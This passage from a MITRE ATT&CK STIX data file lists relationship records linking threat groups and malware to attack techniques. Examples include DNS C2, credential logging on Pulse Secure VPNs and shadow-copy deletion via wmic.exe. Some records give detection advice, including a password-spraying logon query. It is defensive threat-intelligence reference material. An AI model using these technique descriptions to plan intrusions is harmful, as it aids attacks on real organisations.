2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01253fc1-ee00-438a-ba98-fc8db655b7d3","created":"2022-10-13T16:09:34.638Z","revoked":false,"external_references":[{"source_name":"NCC Group TA505","description":"Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.","url":"https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:09:34.638Z","description":"(Citation: NCC Group TA505)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--012617bd-bdb5-434f-996c-bea7afe1b8a5","type":"relationship","created":"2021-12-01T18:49:06.980Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-12-01T18:49:06.980Z","description":"[Chrommme](https://attack.mitre.org/software/S0667) can enumerate the IP address of a compromised host.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0127e0a7-fce7-41f8-bdba-ed634e0eb68f","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T17:55:11.068Z","description":" Monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. (ex: Windows EID 4625 or 5379)\n\nAnalytic 1 - Multiple failed logon attempts across different accounts.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode IN (4625, 5379)) OR\n(index=os sourcetype=\"linux_secure\" message=\"Failed password\") OR\n(index=os sourcetype=\"macos_secure\" message=\"Failed to authenticate user\")","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01292102-1f89-4358-b62c-bc0afd49fc52","type":"relationship","created":"2020-03-17T02:18:35.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","source_name":"Unit 42 QUADAGENT July 2018"}],"modified":"2020-03-17T02:18:35.198Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) uses DNS for C2 communications.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--012af60f-b7bc-4d71-bdf7-6b38a31e3a6f","created":"2022-03-30T14:26:51.867Z","x_mitre_version":"0.1","external_references":[{"source_name":"Sygnia Golden SAML","url":"https://www.sygnia.co/golden-saml-advisory","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for the use of access tokens to access services such as email that were created using SAML tokens which do not have corresponding 1202 events (i.e. “The Federation Service validated a new credential”) in the domain.(Citation: Sygnia Golden SAML)","modified":"2022-04-14T16:49:49.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428","target_ref":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01323439-5287-43cd-b7d9-750e606db602","created":"2020-05-08T18:41:16.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Cloud Atlas December 2014","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020.","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:15:41.999Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has encrypted malware payloads dropped on victim machines with AES and RC4 encryption.(Citation: Kaspersky Cloud Atlas December 2014)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0136018a-db45-4517-9834-7261488bc3fe","created":"2024-09-16T08:57:48.619Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:57:48.619Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can enumerate domain accounts.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--013ab34f-54bf-4813-bd37-42a4eebb8d52","type":"relationship","created":"2017-05-31T21:33:27.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.668Z","description":"(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"malware--123bd7b3-675c-4b1a-8482-c55782b20e2b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--014010a2-7bb8-4b11-bef9-c85609b2d94b","type":"relationship","created":"2019-01-29T19:55:48.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-26T16:10:42.812Z","description":"[Epic](https://attack.mitre.org/software/S0091) uses the rem reg query command to obtain values from Registry keys.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01455ab2-2769-4eab-9df2-e7e5f707e7c6","type":"relationship","created":"2020-05-05T20:54:53.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-05T20:54:53.136Z","description":"[BlackTech](https://attack.mitre.org/groups/G0098) has used spearphishing e-mails with links to cloud services to deliver malware.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0154e3ae-8ccc-4ebb-a14b-2305d9212651","created":"2024-03-18T20:13:09.075Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-18T20:13:09.075Z","description":"[SLOWPULSE](https://attack.mitre.org/software/S1104) can log credentials on compromised Pulse Secure VPNs during the `DSAuth::AceAuthServer::checkUsernamePassword`ACE-2FA authentication procedure.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--f8fc98ac-ad6d-44db-b6e2-f0c6eb4eace4","target_ref":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0157b7a8-69d3-4c60-adf5-91522af1741f","created":"2024-05-22T23:07:23.553Z","revoked":false,"external_references":[{"source_name":"CheckPoint Agrius 2023","description":"Marc Salinas Fernandez & Jiri Vinopal. (2023, May 23). AGRIUS DEPLOYS MONEYBIRD IN TARGETED ATTACKS AGAINST ISRAELI ORGANIZATIONS. Retrieved May 21, 2024.","url":"https://research.checkpoint.com/2023/agrius-deploys-moneybird-in-targeted-attacks-against-israeli-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T23:07:23.553Z","description":"[Moneybird](https://attack.mitre.org/software/S1137) contains a configuration blob embedded in the malware itself.(Citation: CheckPoint Agrius 2023)","relationship_type":"uses","source_ref":"malware--47ab6350-054f-4754-ba4d-e52a4e8751e2","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--015ff4c9-437e-4f49-b125-42e49ebda226","created":"2022-09-30T21:24:53.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T21:37:02.256Z","description":"If infrastructure or patterns in the malicious web content related to SEO poisoning or [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) have been previously identified, internet scanning may uncover when an adversary has staged web content supporting a strategic web compromise. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0160acb0-db44-4076-acc6-74c872d5aa08","type":"relationship","created":"2021-03-02T13:57:47.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}],"modified":"2021-09-24T20:24:27.673Z","description":"[Kerrdown](https://attack.mitre.org/software/S0585) has been distributed via e-mails containing a malicious link.(Citation: Amnesty Intl. Ocean Lotus February 2021)","relationship_type":"uses","source_ref":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01653d7c-2616-4ccc-9bab-225e897b01f2","created":"2024-03-13T20:38:49.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T13:39:33.223Z","description":"[Malteiro](https://attack.mitre.org/groups/G1026) has relied on users to execute .zip file attachments containing malicious URLs.(Citation: SCILabs Malteiro 2021) ","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01673083-1f3c-4995-8842-ac0e735762d6","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account). ","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0167e4ad-b828-4813-88bf-f5b03b4d3268","created":"2022-09-02T19:10:34.330Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T19:10:34.330Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has established GitHub accounts to host their malware.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0167fba6-d37d-46ba-bb07-5fc70b864b3f","type":"relationship","created":"2022-01-25T15:43:34.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T15:43:34.505Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can remove persistence-related artifacts from the Registry.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--016dc21c-ade9-43cc-9d88-a0c4c0891ccc","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:17:57.830Z","description":"Most strings in [USBStealer](https://attack.mitre.org/software/S0136) are encrypted using 3DES and XOR and reversed.(Citation: ESET Sednit USBStealer 2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0176d885-2f36-4b9a-b325-ff25a37c2341","created":"2022-03-30T14:26:51.864Z","x_mitre_version":"0.1","external_references":[{"source_name":"GNU Acct","url":"https://www.gnu.org/software/acct/","description":"GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017."},{"source_name":"RHEL auditd","url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing","description":"Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017."},{"source_name":"ArtOfMemoryForensics","description":"Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."},{"source_name":"Chokepoint preload rootkits","url":"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html","description":"stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)","modified":"2022-04-19T21:19:25.192Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0177d430-a0b9-4f2f-8c66-8dfa4391611a","type":"relationship","created":"2020-05-12T21:56:32.975Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:35:41.302Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) can download additional files.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01786141-4ea8-47f2-bc32-af9d48ce5bb2","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T22:06:41.403Z","description":"Monitor newly executed processes that may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.\n\nNote: Sysmon Event ID 1 (process create) and Windows Security Log Event ID 4688 (a new process has been created) can be used to detect new reg.exe processes that modify the AppInit DLL registry keys since the registry keys are specified as a command-line parameter.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--017d597b-2268-4760-baf0-0cee23906965","created":"2024-09-25T17:03:26.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T20:13:57.057Z","description":"[Play](https://attack.mitre.org/groups/G1040) has split victims' files into chunks for exfiltration.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--017fac51-a6ab-491b-8b48-08be808ae060","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0182aa0a-a8b9-4a6e-9932-88f34f8ceee3","created":"2022-03-07T19:33:01.745Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can use `wmic.exe` as part of its effort to delete shadow copies.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-09T15:26:41.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0188b7af-d060-4715-baf2-ad69333482dc","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2019-09-16T18:01:16.149Z","description":"[Orz](https://attack.mitre.org/software/S0229) can gather victim drive information.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--018a5e33-ef18-4a6b-8389-c950053d4a75","created":"2024-09-16T08:59:58.404Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:59:58.404Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can enumerate Registry items.(Citation: Google Cloud APT41 